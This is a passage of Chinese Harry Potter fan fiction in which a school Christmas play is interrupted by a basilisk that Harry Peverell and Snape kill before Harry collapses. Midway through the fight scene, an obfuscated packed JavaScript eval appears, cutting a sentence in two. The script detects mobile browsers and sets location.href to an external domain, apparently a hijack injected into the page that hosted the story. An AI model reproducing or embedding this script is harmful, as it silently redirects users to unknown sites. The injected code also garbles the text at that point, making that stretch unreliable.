韦斯莱兄弟则肩并肩异口同声地合唱:“舞台效果就交给我们啦!放心我们不会让巨龙烧掉你的头发的!” 泰迪勉强挤出个笑容作为回应,赫敏倒大方得很,昂着头一路拉他往前挤。 好不容易挤到罗恩给他们预留的位置上,泰迪看着餐桌上的美食,觉得喉咙都堵住了,一丁点儿也吃不下。他现在算是体会到小哈利和罗恩第一次出赛魁地奇之前的紧张情绪了。 “多少吃一点吧,否则待会儿要没力气的。”赫敏劝道,往嘴里塞食物时不忘在泰迪的盘子里堆满香肠。 “就是就是,别紧张别紧张。”罗恩也一点没说服力地劝道,“吃点南瓜饼么?”说着错把一块三明治放到泰迪的餐盘上。 泰迪哭笑不得,“你看上去比我还紧张,罗恩。” “泰迪你的演技是我们之中最好的。”赫敏一本正经地说,“我看不出你紧张的理由。” “别说了,赫敏,我台词都快忘光了!”泰迪一点也没被安慰到,只觉得胃都快缩成一团了。 他干脆放下叉子,抬头往教师餐桌的方向望去,想找到自家教父寻求点安慰,在看到对方位子是空着的同时又失望地发现,连斯内普都不在。 他们俩最近总是一块儿不见了。泰迪愤怒地叉起一根香肠。 而被他怨念着的哈利和斯内普正在进行一场热烈而古怪的对话。 “斯内普……嘶……有发现吗?完毕。” “……没有。” “附近有没有魔力波动?完毕。” “……没有。” “后台有异常吗?完毕。” “……除了一条纸糊的劣质假蛇,没有。” “斯内普,报告完要加一个‘完毕’!完毕。” “为什么我必须得用这种……嘶……愚蠢的……嘶……不能理喻的……嘶……麻瓜对讲机!完毕。” 话剧演出,即将开始。 57. 舞台魅影 霍格沃茨的圣诞晚宴刚刚结束,漂浮的蜡烛散发着温暖的光芒,礼堂里洋溢着节日的欢乐气氛。挡在舞台前的厚重丝绒帷幕微微晃动,显然韦斯莱双胞胎正在调试他们的魔法特效,点点星光不时从帷幕缝隙中溜出来。成群的金色天使装饰在半空中盘旋,时不时发出悦耳的圣诞颂歌,礼堂中的每个人都对即将开始的圣诞话剧饱含期待。 “听说赛德里克也会出演!”一些女生们红着脸八卦,“他扮演的角色一定很帅气。” “我可看了好几次泰迪他们彩排了。”格兰芬多桌旁,罗恩咬着一块姜汁饼干说,十分享受自己成为视线的焦点,“他的易容马格斯可以直接在变形课上拿满分——说到这个,我听说克拉布在变形课上不小心把自己的围巾变成了鼻涕虫,喷了一脖子的粘液,梅林在上,满教室都是他的尖叫。”周围的格兰芬多们笑作一团。 泰迪紧张地站在后台,偷偷掀开帷幕的一角往外张望。礼堂里座无虚席,欢快的私语声回荡在空中。邓布利多正和麦格教授愉快交谈,校长今晚格外兴致盎然,银白色的长须上别着一颗会唱歌的小铃铛,每当他说话时,铃铛就会跟着哼上几个音符。泰迪的目光在教师席上搜寻着,却依然不见哈利和斯内普的身影,不免感到了一阵失落。 “女士们,先生们!”洛哈特的声音忽然响彻礼堂。他站在舞台正中央,孔雀蓝的长袍上缀满了会动的星星,配上他标志性的露齿笑容,活像一只准备求偶的吹吹茵鸟,“今晚,我很荣幸为大家带来一部改编自古老魔法童话《穿越时间的四兄妹》的全新演出!这部作品在我精心的改编下——” “演员各就各位!”伊丽莎白·蒙哥马利打断了他的长篇大论。这位七年级的拉文克劳助理导演正挥舞着写字板,“五分钟后开始!” 泰迪一下子就顾不上哈利·不靠谱·教父了,抓紧最后时间默念着自己的台词。 “别紧张。”身后传来赛德里克·迪戈里温和的声音,“排练的时候你表现得很棒。” 泰迪转身看向这位四年级的赫奇帕奇找球手。赛德里克身着银色长袍,胸前别着一枚闪闪发亮的徽章——那是大哥马库斯的标志。 “我还是有点担心。”泰迪小声说,不安地摆弄着自己的长袍,“万一到时候紧张得连头发颜色都控制不好怎么办?” “那正好。”赛德里克笑着说,“看,你现在的头发就挺适合角色的。” 泰迪这才注意到自己的头发不知不觉变成了深褐色,和小弟弟提姆的形象倒是很配。 后台一片忙乱。安娜丽丝正和她的魔法水瓶作斗争——不知道是哪里出了问题,瓶口不停地往外冒着绿色泡泡。赫敏则在专心调试她那个魔法八音盒,等确保它能在适当的时候奏出正确的旋律后,才满意地点点头,转头帮泰迪快速调整起他的造型。 “好了别紧张了。”赫敏一边帮泰迪整理长袍一边叮嘱,“你只要记得第三幕变形的时候要慢一点,这样视觉效果才最好。” “我更担心那条龙!”泰迪忧心忡忡地说,“上次彩排的时候它差点把我烤熟。” “放心吧,小泰迪。”弗雷德不知从哪儿冒了出来,再次保证,“我们已经完美地掌握了火龙喷火的控制。” “就是!”乔治紧跟其后,朝泰迪挤挤眼睛,“我敢说,你的头发不会变成爆炸龙葵的。不过……”他神秘地压低声音,“可能会有点别的惊喜。” 泰迪的心情顿时更糟糕了。 …… 音乐响起,帷幕缓缓拉开。一片被施了魔法的森林浮现在观众眼前,月光透过树梢洒在地面上,远处隐约可见一座木屋的轮廓。 七年级斯莱特林的凯瑟琳·贝斯特尔此刻正站在舞台一侧轻声吟诵:“很久很久以前,在一片神秘的森林里,住着四个天赋异禀的兄妹。他们渴望冒险,却不知命运早已为他们准备了一场意想不到的相遇……” 泰迪站在木屋前的空地上,正小心翼翼地练习变形魔法。他的头发如流水般变幻着色彩,引来观众的阵阵惊叹。 “提姆!”赛德里克大步走来,“你要小心,不要在外人面前显露你的天赋。” “可是哥哥,这里只有我们和森林呀。再说了——”泰迪眨眨眼,“总有一天,我要用这个能力去看看外面的世界!” “你这个小傻瓜。”安娜丽丝宠溺地摇摇头,“等你长大了就知道,有些能力越是独特,越要懂得珍惜和保护。” “都太谨慎了。”赫敏冷静地说,“魔法本就是用来施展的,不是用来藏起来的。”她说这话时的神情,像极了平时在图书馆里与人争辩的样子。 当佩内洛普饰演的母亲出现时,舞台的光线变得柔和。她手中的魔法书散发着微弱的光芒。 “孩子们。”她温柔地说,“外面的世界很大,每个人都有自己的使命。但记住,无论你们走多远,这里永远是你们的家。” 一阵烟雾升起,舞台中央浮现出一个巨大的魔法镜框。光影变换,镜中展现出四兄妹各自的冒险:赛德里克在古老图书馆中寻找时间的奥秘,安娜丽丝航行在风暴肆虐的大海上,赫敏穿行在熙攘的集市间。 最后,镜框中出现了一片被诅咒的土地。浓雾弥漫中,一个巨大的身影逐渐清晰——那是一条青铜色的巨龙。它盘踞在废弃的城堡上,俯视着脚下被石化的村庄。 “提姆选择了最危险的道路——”凯瑟琳的声音在黑暗中响起,“因为他相信,真相就藏在这些被诅咒的心灵之中。” 泰迪握紧了手中的魔镜,悄悄接近那些石像。龙蜷缩在塔楼顶端,不时喷出火焰照亮夜空。每当火光掠过,泰迪都能看到石像脸上凝固的恐惧。 “这些村民……他们都认识你。”泰迪抬头看向巨龙,“你也曾是这里的一员,直到那个黑巫师夺走了你的记忆,把你变成了守卫。” 龙发出低沉的咆哮,火光映红了半边天空。龙的造型其实有点粗糙,但韦斯莱双胞胎的魔法让龙息看起来异常真实,火焰几乎要吞没整个舞台。观众们发出阵阵惊呼,就连教师席上的弗利维教授也激动地跳了起来。 但泰迪没有退缩,他举起魔镜:“看看你自己真正的样子!” 镜面反射的光芒照亮了巨龙,一个人影从阴影中现身。珀西饰演的黑巫师冷冷地说:“你怎么知道这些事?” “因为魔镜能照出被遗忘的记忆。”泰迪说,“就像它照出了你内心深处的愧疚与渴望。你本想用遗忘咒保护村民,却不小心抹去了所有人的记忆,包括你自己的。” 巨龙在泰迪的话语中渐渐安静下来,它庞大的身躯缓缓降落在城堡的庭院里。黑巫师抬起了魔杖,但他的手在微微发抖。 “不可能……”他的声音里透着动摇,“我是为了保护他们……” 泰迪向前迈了一步,手中的魔镜微微颤抖:“是啊,你想保护他们免受战争的伤害。可是遗忘并不是保护,相反,只有直面过去,我们才能真正前进。” 魔镜的光芒笼罩了整个舞台,所有的石像都开始发出银色的微光。巨龙的鳞片一片片脱落,露出人类的形态;黑巫师的长袍褪去,变成了普通村民的装束。 “看啊!”泰迪对着观众说,“最强大的魔法,不是诅咒,而是唤醒人心中的善良!” 一段时间过后,舞台暗了下来,只剩一束追光打在泰迪身上。他站在舞台前方,手握魔镜,轻声说:“我已经走过了很多地方,见过了很多人。但我从未想过,当我们终于决定回家的时候,等待我们的会是这样的结局……” “时光流转,季节轮回,五年悄然而逝。”凯瑟琳的声音带着几分怅惘。 舞台灯光转换,四个兄妹重聚在他们记忆中的森林位置。韦斯莱双胞胎的魔法让整个场景如梦似幻——葱郁的森林消失了,取而代之的是一片浩瀚的海洋,波光粼粼。 “森林……怎么会……”安娜丽丝难以置信地环顾四周。 “等等,”赫敏突然说,“那边有人!” 一位佝偻的老妇人出现在舞台的一侧,她的步伐蹒跚:“你们,你们就是玛莎女士的孩子吧?” “是的!”泰迪急切地上前,“请告诉我们,我们的母亲在哪里?” 老妇人眼中流露出怜悯,“可怜的玛莎,她一直在等你们回来。直到生命的最后一刻,她都坐在那把摇椅上,望着森林的方向……” “最后一刻?”泰迪的声音颤抖着,头发不受控制地变成了灰白色。 “五年前——”老妇人轻声说,“我们为她举行了葬礼。她走得很安详,只是……” “不!我们当初就不该离开……”赫敏的八音盒掉在地上,发出一声脆响。 “一定还有办法!”赛德里克抬起头 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就在这时,异变陡生——泰迪首先察觉到了不对劲。他的耳朵捕捉到一丝低沉、诡异的嘶嘶声,那声音缓缓逼近,逐渐清晰,如同冰冷的呼吸贴上皮肤,让人毛骨悚然。 魔镜开始微微震颤,发出轻微的嗡鸣,紧接着一道刺眼的绿光从时间之门中闪过,八音盒的音乐扭曲变调,水晶瓶中的漩涡疯狂旋转起来。舞台的灯光明灭不定,整个舞台仿佛受到某种未知的干扰。 泰迪的手指无意识地收紧,他猛地回头,目光越过舞台,直视后台方向——韦斯莱双胞胎的脸色已经变了。从他们惊愕的表情来看,这绝对超出了计划。 帷幕后方突然传来剧烈的撞击声,几张桌子翻倒在地,蜡烛洒落,火苗舔舐着舞台的边缘。 然后——巨大的阴影陡然滑入舞台中央!泰迪本能地抽出魔杖,赛德里克和赫敏也迅速反应过来,做出了相同的动作。 “这就是你们的‘惊喜’?”泰迪压低声音问双胞胎。 “它可没和我们打过招呼。”乔治声音难得严肃,不知什么时候,他和弗雷德下意识地站到泰迪两侧,形成了一道防线。 前排的学生以为这还是演出的一部分,甚至有人兴奋地鼓掌——直到阴影突然猛地张开血盆大口,一阵腥臭的气息铺天盖地袭来。 “别看它的眼睛!” 泰迪想起哈利的叮嘱,几乎是吼出来的。话音未落,赫敏已经下意识地挥动魔杖,“昏昏倒地!”蓝色光束射出。 赛德里克紧跟着补上,“除你武器!”红光紧随其后。 红光与蓝光交错着冲向蛇怪的鳞片,但魔咒击中的地方仅仅激起一丝微弱的火星,而蛇怪连晃都没晃一下。 “该死的,它根本不受影响!” 阴影终于彻底显形——一条粗如林木、长达数十英尺的巨蛇盘踞在舞台一侧。它仰头发出了刺耳的嘶吼,仿佛一股实质的冲击波,震碎了舞台边缘的魔法道具,剧烈的震动让整个舞台都在颤抖!礼堂里的圣诞装饰在它的撞击下四处飞溅,金色的天使像一场流星雨般坠落。 泰迪差点失去平衡,踉跄后退,身后的木制布景板“咔嚓”一声裂开,星星点点的尘埃洒落在他肩上。 “泰迪,闪开!”弗雷德猛地一拽泰迪的袖子,将他往旁边拉开。下一秒—— 轰! 蛇怪猛然一击,尾巴狠狠地抽向舞台中央!话剧的魔法镜框在剧烈撞击下“砰”地炸裂,金色的碎片光流四溢。一张长桌被撞飞,险些砸到还未反应过来的演员。 观众席上的学生们终于意识到这不是舞台效果,某个学生尖叫出声,观众席瞬间乱成一片。学生们在惊慌中相互推搡,有人被长凳绊倒了,却又立刻被身边的同学拉起。 “不要惊慌!” 麦格教授的声音响彻礼堂,“所有学生立即撤离!级长带领你们的学院!” “让我来解决这个大家伙!”洛哈特一个箭步跳上舞台,“我曾在阿尔巴尼亚遇到过比这更大的蛇怪……” 一道无声的魔咒正中他的后脑勺,他直挺挺地倒了下去。几个离得近的高年级学生赶紧冲上去,手忙脚乱地把他拖了下来。 空气里满是尖叫、魔咒的光芒、杂乱的脚步声,一片混乱之中,一个声音穿透黑暗—— “泰迪!所有人!闭上眼睛!”是哈利的声音。 58. 蛇怪现身 圣诞晚宴前几小时,校长办公室。 哈利正把几个麻瓜对讲机摆在邓布利多的办公桌上,不出意料地收获了斯内普一个极度嫌恶的眼神。 “这样最安全。”哈利对上那个写满“这是什么拙劣的玩笑”的眼神,耐心解释道,“不会引起魔法波动,又能随时保持联系。” “你就非得用这种粗制滥造的麻瓜玩意儿?”斯内普的嘴角绷成一条锋利的线,指尖捏住对讲机的边缘,仿佛在拎着一只臭气熏天的炸尾螺。他的目光扫过那粗糙的塑料外壳,鼻腔中溢出一声冷笑,“波特,如果你指望靠这玩意儿保命,我建议你直接去和蛇怪跳支舞。” 哈利耸耸肩:“如果你有更好的主意……魔法波动太容易被察觉了。还是说——”他嘴角微微上扬,目光里带着挑衅,“我们的魔药大师用不来这么简单的麻瓜玩意儿?” 斯内普面色一沉,但还是接过了对讲机,动作干脆地将它塞进长袍,仿佛这样就能让这个有辱巫师身份的物件消失不见。 邓布利多一直带着愉悦的神情看着这一幕。他拿起桌上最后一个对讲机,饶有兴趣地端详着,“麻瓜们总能想出一些令人惊叹的办法来弥补没有魔法的缺憾。”他把玩着那个按钮,“我记得有一年,我特别喜欢一种叫做溜溜球的小玩意儿。”他朝哈利眨眨眼,“西弗勒斯,有时候最简单的方案往往最有效,不是吗?” 斯内普抿紧嘴唇,喉咙里发出一声意义不明的哼声,手指无意识地抚过长袍中那个硌人的塑料边角。他转向窗边,不再看那些碍眼的麻瓜物件,但显然邓布利多的话还是起了作用——至少他没有再出言讽刺。 邓布利多的目光在他背影上停留片刻,随即望向礼堂顶部悬浮的金色天使。夜幕尚未完全降临,但魔法蜡烛已经点亮了整个大厅。“哈利,你确定蛇怪会选在今晚现身?” “我只是发现,每次袭击都发生在人最多的地方。”哈利靠在墙边说,“万圣节的晚上、魁地奇选拔赛……”他停顿了一下,目光掠过角落里的分院帽,“你记得小哈利遇袭那天的情形。” “说重点,佩弗利尔。”斯内普瞥了他一眼。 “记得我说过有求必应室的特性吗?”哈利与那双黑眸对视,“它在等一个恰当的‘需求’。人群、混乱、分散的注意力——所有这些都会让防备降到最低。而今晚的演出,正好满足了这些条件。” “听起来像是格兰芬多式的直觉。”斯内普嘲讽道,语气中的尖刻比往常少了几分,“或者说,你又做了个预言性的梦?” “如果你指上次在空密室里的经历……” “够了。”邓布利多温和但坚定的声音打断了两人的拌嘴,目光在桌上的对讲机和斯内普的长袍之间意味深长地来回扫了一眼,“我们该换个思路——显然汤姆抛出的蛇怪不过是诱饵,真正的陷阱也许还藏在暗处。” 他指尖轻敲着冒着热气的茶杯,茶香在办公室里缓缓弥漫,“今晚的演出照常进行,这是对恐慌的最好反击,只要我们准备万全。至于其他教授——他们经验丰富,足以应对任何意外。要知道,米勒娃甚至能让石像鬼跳踢踏舞。”他俏皮地眨眨眼,转向栖枝上的福克斯轻笑道,“而你,亲爱的老伙计,是你登场表演的时候了。” 凤凰发出一声清脆的鸣叫,展开翅膀回应了他。 邓布利多继续说,“它能对付那双致命的眼睛,但我们需要更多准备。” “格兰芬多宝剑……”哈利下意识看向分院帽。 “恐怕不行。”邓布利多轻轻摇头,“分院帽遭受重创后,暂时失去了召唤宝剑的能力。不过……”他若有所思地看向两人,“也许我们可以用别的方式达到同样的效果,而我恰好知道一些古老的——魔法。” ====== 一道炽白色的光束轰然射出,精准地击中蛇怪的身躯! 蛇怪的动作猛地一滞,仿佛被无形的魔法束缚,鳞片开始泛起一层灰白色的光泽,身体扭动骤然减缓。 哈利·佩弗利尔的身影疾步穿过火光和混乱的人群,手中的魔杖仍闪烁着余光。他神情冷峻,绿眼睛映着熊熊燃烧的火光。福克斯在他上空盘旋警戒,锐利的目光紧盯着蛇怪的一举一动。 与此同时,一个平静而洪亮的声音压过礼堂里此起彼伏的尖叫声—— “保持冷静!”邓布利多的魔杖划出一道金色的弧线,“所有学生跟随光芒指引,有序撤离。记住,不要抬头,不要回望!” 金色的光点在空中排列成线,如同一串指引的星辰。撤离前,韦斯莱双胞胎交换了一个默契的眼神——他们准备的“惊喜”可以派上用场了。 “弗雷德,我们的‘混沌烟火’!”乔治大喊,同时从长袍里掏出几个五颜六色的小球。 “正合我意!”弗雷德接过其中两个,熟练地往地上一掷。五彩斑斓的烟雾在礼堂里弥漫开来,原本是为话剧结尾准备的惊喜特效,此刻却成了最好的掩护。浓密的烟雾不断翻涌,遮蔽了蛇怪的视线。 演出用的道具在蛇怪的撞击下东倒西歪。赫敏正要拉着泰迪撤离,却看见罗恩逆着人流挤了进来。他已经被惊得脸色发白,手里死死攥着魔杖护在身前。 “你们不会以为我会扔下你们一个人跑掉吧?”罗恩努力让自己的声音显得轻松些,但颤抖的双腿还是暴露了他的不镇定。“我们还是快走吧!” 麦格教授正在不远处指挥着学生撤离,同时向斯普劳特教授喊道:“请把那几个还留在原地的低年级生带走!”她顿了顿,看向高年级学生们架着的洛哈特,“把这位‘勇敢’的洛哈特教授也带走。” 科林·克里维却像是完全沉浸在拍摄的兴奋中,举着相机冲到舞台边缘:“等等,让我拍下这个历史性的瞬间!” “克里维先生!立刻回来!”麦格教授厉声喝止。一块倒塌的布景砸在科林脚边,他被绊倒了,相机脱手飞出。 “我的相机!”科林顾不得危险,朝着滚落在舞台边缘的相机爬去。蛇怪那庞大的身躯转向声音的来源,它不复之前的迟缓,动作出奇地快,腥臭的口器大张,露出两颗寒光闪烁的毒牙。 “科林!趴下!”泰迪毫不犹豫地冲了出去。刚学会的魔咒在脑海中闪现:“昏昏倒地!”魔杖尖端射出一道红光,但只是在蛇怪的鳞片上弹开。 罗恩和赫敏试图上前帮忙,一根断裂的横梁砸在面前,逼得他们不得不后退。泰迪已经冲到科林身边,一把拉住他的胳膊:“别管相机了!” “但那是爸爸送给我的生日礼物……” 泰迪用力把科林往后拉,却被舞台边缘突出的木板绊住。他们重重摔倒在地,滚了好几圈又撞到长桌的桌脚才停下。 就在这时,福克斯盘旋了许久的身影骤然俯冲而下!它携着金红色的火焰,闪电般穿越烟雾,直扑蛇怪黄色的眼睛! 哈利的声音从一侧传来—— “盔甲护身!” 魔法屏障及时挡在两个男孩面前。蛇怪发出一声震天的嘶吼,疯狂地甩着脑袋,试图摆脱福克斯的攻击。但凤凰早有准备,灵活地躲避着蛇怪的反击,同时不断用利喙攻击那双眼睛。 “快走!”哈利的声音因魔力消耗而沙哑。科林的脚踝扭伤了,每走一步都在抽气。泰迪架着他的胳膊,低声道:“跟紧我,别发出声音!”两人屏住呼吸,借着烟雾的遮掩缓慢挪动。 蛇怪的阴影在烟雾中晃动,它低声嘶鸣,似乎在搜寻他们的位置。就在泰迪他们快脱离它的攻击范围时,赫敏的声音从不远处传来,带着急切的压低音量:“这边——快!” 泰迪下意识抬头,透过浓雾隐约看见赫敏和罗恩躲在一排倒塌的长桌后,冲他们挥手。赫敏手里攥着魔杖,脸色苍白,但目光坚定;罗恩则半蹲着,一只手按着地面,似乎在准备应对突发状况。 可就在此时,蛇怪突然改变了策略,尾巴从上方猛击而下,直取屏障顶端。哈利想要后退,但看到泰迪和科林还在身后,只能继续咬牙在原地坚持。就是这一瞬间的迟疑。蛇怪的尾巴破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156396|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开屏障,重重扫过。 “小心!”赫敏发出惊叫,尝试挥舞魔杖发出魔咒。 “除你武器!”斯内普的魔咒从礼堂另一侧射来。但已经太迟,哈利只来得及用身体挡住两个男孩。蛇怪的尾巴抽在他腰侧,巨大的冲击让他一时失去知觉。等他回过神,发现自己已经撞在墙上,肺里的空气都被挤出去了。 “哈利!”泰迪的声音里带着惊恐。但斯内普已经大步上前,黑袍在火光中翻滚,动作快得像一片黑色的影子,“普通魔咒对它无效。带他们离开。”他转身面对蛇怪,魔杖划出一道寒光。 赫敏和罗恩立刻冲了上来,罗恩一把接住科林的另一侧手臂,赫敏则猛地伸手扶住泰迪的肩膀。 “走!”赫敏低声命令,罗恩咬紧牙关,和泰迪一起架着科林快速后撤。 蛇怪扭动身躯,显然注意到了学生们的撤离,庞大的身影猛地一冲,逼近了门口。 千钧一发之际,福克斯发出一声高亢的凤鸣。它在空中划出一道金红色的弧线,如同一团流动的火焰,精准地朝蛇怪的眼睛发起攻击。蛇怪发出一声震天的嘶吼,但福克斯的啄击快如闪电,转瞬间就让那双致命的黄眼睛血流如注。 “佩弗利尔,”斯内普的声音穿透混乱,“正是现在!” 哈利立刻明白了他的意思,狠深吸一口气,咬牙撑起身体,稳稳地站了起来。 “咳……咳咳。”他忍不住轻咳了两声,但嘴角仍然勾起一丝笑意,语气轻松得仿佛不是在生死搏斗,而是在课堂上挑衅教授的魔药作业。“但愿等会儿你能找到蛇怪的嘴巴在哪里。” 斯内普冷哼一声,魔杖在掌心旋转一圈:“彼此彼此,佩弗利尔。” 两人的魔杖同时举起,空气中浮现出淡淡的魔法涟漪。这是一种古老的魔法,只有两名施法者同步施展,才能真正维持它的威力和稳定性。魔咒在空中交织,蓝白色的光芒渐渐凝聚成一把发光的长剑。 光剑落下,带着炽烈的能量在空气中划出一道耀眼的弧线,如同闪电般狠狠刺入那庞然巨兽最脆弱的地方——柔软的下颚之下,直入喉咙。 蛇怪顿时发出一声震耳欲聋的惨叫,它的身体疯狂地扭动,尾巴猛烈抽打着地面,浓稠的毒液从它口中涌出,溅落在地面,腐蚀出一个个焦黑的窟窿。 没多久,它的嘶吼渐渐变得微弱,挣扎的动作也开始迟缓。最终,庞大的身躯僵直地向后倒去,震得整座礼堂都轻微颤动。空气中弥漫着血腥与烧灼过的魔法气息,礼堂陷入了一片死寂,只有几声粗重的喘息声回荡在空旷的空间里。 几个胆大的格兰芬多已经蹑手蹑脚地溜回来,想要一睹这条传说中的怪物。“都退后,格兰芬多扣10分!”斯内普厉声说,大步走向蛇怪的尸体。 “好了,孩子们。”邓布利多温和但不容置疑的声音响起,“现在该回到各自的公共休息室了。教授们需要处理这里的情况。” “哈利!”泰迪快步跑到教父身边,脸上满是担忧,“你没事吧?刚才撞得那么重……” “没什么大不了的。”哈利揉了揉还在隐隐作痛的腰侧,“只是些擦伤。” “是吗,佩弗利尔?”斯内普嘲讽地挑起眉毛,“我以为你刚才是被整个撞飞出去的。” “总比某些人只会躲在暗处放冷枪要强。”哈利毫不示弱地回击。 “别担心,泰迪。”哈利一脸轻松地转向自己的教子,“等会儿我去医疗翼找庞弗雷夫人治疗一下,顺便一起去看看小哈利和西比怎样?听说曼德拉草快成熟了。” 泰迪点点头,却看见哈利动作一顿,脸色骤然煞白。 而哈利本人只觉得一种前所未有的恐慌内心深处蔓延出来,额头上的伤疤开始剧烈地跳动,仿佛所有的力量都在瞬间消散。有什么东西正在从他的体内流失,他想抓住它,又完全无能为力。 眼前的世界开始旋转,视线变得模糊,连声音都远去,他甚至来不及说出一个字,就重重地倒在地上,陷入了黑暗之中。 59. 改变的轨迹 圣诞节假期降临霍格沃茨,大部分学生已经回了家,留下的城堡安静得有些不习惯。医疗翼的门吱吱作响地合上,庞弗雷夫人放下手中叮当作响的药瓶,转身望向病房。几张病床一字排开,三个被石化的病人像木板一样僵硬,而第四张床上,哈利·波特——或者该叫他哈利·佩弗利尔教授——至今昏迷不醒。 费尔奇紧张地在走廊里来回踱步,走了几圈后又一次将鼻尖贴在门缝上。庞弗雷夫人正忙着配药,坩埚中翠绿色的液体冒着蒸汽,散发出一股草药的清香。曼德拉草的叶片在药水中渐渐溶解,呈现出半透明的状态。 “我的洛丽丝……她真的会没事吗?”费尔奇沙哑的嗓音从门边传来。他满是皱纹的脸上写满焦虑,手指不停地绞动着。 “放心吧,费尔奇先生。”庞弗雷夫人头也不抬地搅动药液,“以洛丽丝夫人的体型,三天就能恢复,人类五天,至于人偶——”她瞥了一眼外间,“梅林也说不准。” 走廊里的踱步声又开始了。病房角落里,洛丽丝夫人僵硬的毛皮在烛光下泛着蜡质光泽,隔壁床上的西比人偶保持着被石化时的坐姿,玻璃眼珠蒙着层灰翳。最靠窗的是小哈利的床位,他还穿着那身魁地奇队服,仿佛下一刻就会骑上扫帚去抓金飞贼。詹姆斯几乎每天都会来看他,虽然庞弗雷夫人一再保证曼德拉草很快就能让他恢复,但作为父亲的担忧显而易见。 窗外的雪花飘个不停,泰迪盯着松木窗棂上的薄霜,冰晶刚化成水珠时,走廊上传来了熟悉的脚步声。 他回过头,看到斯内普大步流星地走进医疗翼,黑色长袍在身后微微翻卷。斯内普的目光微微停留在哈利的病床上,随即又移开,动作虽然迅速,却没能逃过泰迪的眼睛。 “西弗……”泰迪的呼唤被庞弗雷夫人急促的脚步声打断。 “啊,西弗勒斯!你来得正好!”庞弗雷夫人捧着冒着热气的药瓶从里间冲出,“我正在配制最后一剂曼德拉草药剂,能请你帮忙确认一下剂量吗?” 斯内普脸色不怎么好看,皱眉接过药瓶嗅了嗅,“再加入一撮月长石粉末,”他用生硬的语调说道,“药效会更稳定一些。” 庞弗雷夫人点点头,从工作台上抓起一小罐月长石粉末,迅速洒了一撮进药瓶,晃了晃。她小心翼翼地将调整后的药液倒进西比人偶的樱桃木关节。病房里的人全都屏住呼吸,盯着那人偶。只听“咔嗒”一声轻响,关节吱吱作响,西比猛地抖了一下,突然像被施了活化咒似的直挺挺坐起来。所有人都愣住了——谁也没想到,它竟会是第一个从石化中醒来的。 “梅林的臭袜子!这玩意比巨怪的鼻涕还要恶心!”西比一恢复意识就嚷嚷起来。它转了转僵硬的脖子,玻璃眼珠撞上斯内普那张黑沉沉的脸,顿时闭了嘴,不过还是挑衅地扬了扬眉毛。 “好久不见,西比。”泰迪忍不住笑了,弯腰把人偶捞进怀里。西比轻巧地爬到肩上,扒住他的耳朵四处张望,“我错过了什么?我以为佩弗利尔那个爱管闲事的家伙会在这儿唠叨个没完呢。” 泰迪的笑容慢慢褪去,目光再次转向哈利的病床,心中涌起焦虑。自从那日以来,哈利已经昏迷了三天,他一直不敢想象,如果哈利永远不醒来,自己该如何面对这一切。西比顺着他的目光也看到了安静躺在那里的人,在他肩头不安地动了动,伸出手指戳了戳他的耳垂:“喂,你的头发变灰了。” 正说着,西比人偶的目光被病床边的床头柜吸引了,突然瞪大了眼睛,惊讶地大叫:“已经圣诞了吗?我的礼物怎么办?” 泰迪摸摸他的头,“我给你准备了,回头就拿给你。” 床头柜上堆满了圣诞礼物。这段时间,泰迪几乎住在了医疗翼里,课本、作业和一杯喝了一半的南瓜汁散乱地放在旁边,墨水瓶旁还有未完的变形课论文。庞弗雷夫人看他实在放心不下教父,连一贯颜色明亮的头发也变成沮丧的深褐色,也就默许了他的留宿。因此他俩的圣诞礼物都被猫头鹰一起送来了医疗翼。 韦斯莱夫人织的两件毛衣整齐地叠放在一起,深红色和墨绿色的羊毛互相辉映;一个手工制作的相框安静地立在旁边——是泰迪送给自己教父的,里面是他们在新家拍的第一张合影。哈利送给泰迪的则是一个神奇的魔法沙盘,能够根据使用者的心情变化呈现不同的魔法场景。在收到自己教父的礼物时,泰迪显得有些惊讶,随即恍然大悟——那是他暑假在弗洛林和伯特书店里看到的,当时只是在柜台前多看了两眼,没想到哈利早就将它准备好了。 相比他的教父,泰迪收到的礼物显然更多。罗恩、赫敏等小伙伴纷纷寄了礼物过来,甚至连卢平也送了一个刻着精美花纹的木制魔杖盒——泰迪爱不释手地摸了很久,又珍惜地把它收起来。斯内普送的《神奇魔药材料图鉴》被摊开在床边,泰迪已经翻阅了大半,有时会轻声给哈利读一读里面有趣的内容。 在整理这些礼物时,泰迪惊讶地发现一个用金色丝带包装的礼盒,寄件人为莉莉·波特。他小心翼翼地将两条围巾取出来:一条深红色的,织着精致的金色暗纹,适合搭配教师长袍;另一条则是活泼的亮红色,织法看似简单,但注入了保暖的魔法。包装里附着的字条上,字迹工整但略显犹豫:“愿这些能让你们在寒冷的冬天里感到温暖。” “如果你醒着,”泰迪默默想道,“肯定会特别喜欢这条围巾,说不定现在就戴在脖子上了。”他注意到斯内普的目光在那条深红色的围巾上停了一会儿,随即若无其事地移开。 斯内普的袍角不知何时已轻轻触到病床边,他用一种近乎审视的目光打量着哈利,眉头几不可察地蹙起。 “庞弗雷夫人说不是打蛇怪的伤造成的——只是些肌肉挫伤,”泰迪小声说,“但他从来没睡这么久过。” 斯内普没有回答,只是拿起床头柜上摊开的《神奇魔药材料图鉴》翻了翻。“看到第七章了?” “嗯,正看到一种奇特的草药,”泰迪点点头,“那种在满月时会开出星形紫花的,还想问问它的用途……” “夜幽草,”斯内普对魔药的讲解总是多一份耐心,“它的根茎经过特殊萃取后可以用于制作安魂水,但大多数人都忽视了它花瓣的价值。在月光下采摘的花瓣,加入安神药剂……” 就在这时,一张金色的纸条悄然从门缝飘入,轻轻停在斯内普面前。纸条展开,露出邓布利多潦草的笔迹:“请立即来我办公室。” 斯内普神色一凛,向泰迪和庞弗雷夫人点头示意后大步离开了医疗翼。 ========= 斯内普大步走进校长室时,惊讶地发现多比正昏迷不醒地躺在一张长沙发上。 “在哪里找到它的?”他转向站在福克斯栖木旁的邓布利多。 “厨房里。”邓布利多平静地说,“其他家养小精灵在储物间发现了它。看样子已经昏迷一段时间了。” “速速复苏。”邓布利多轻点魔杖。 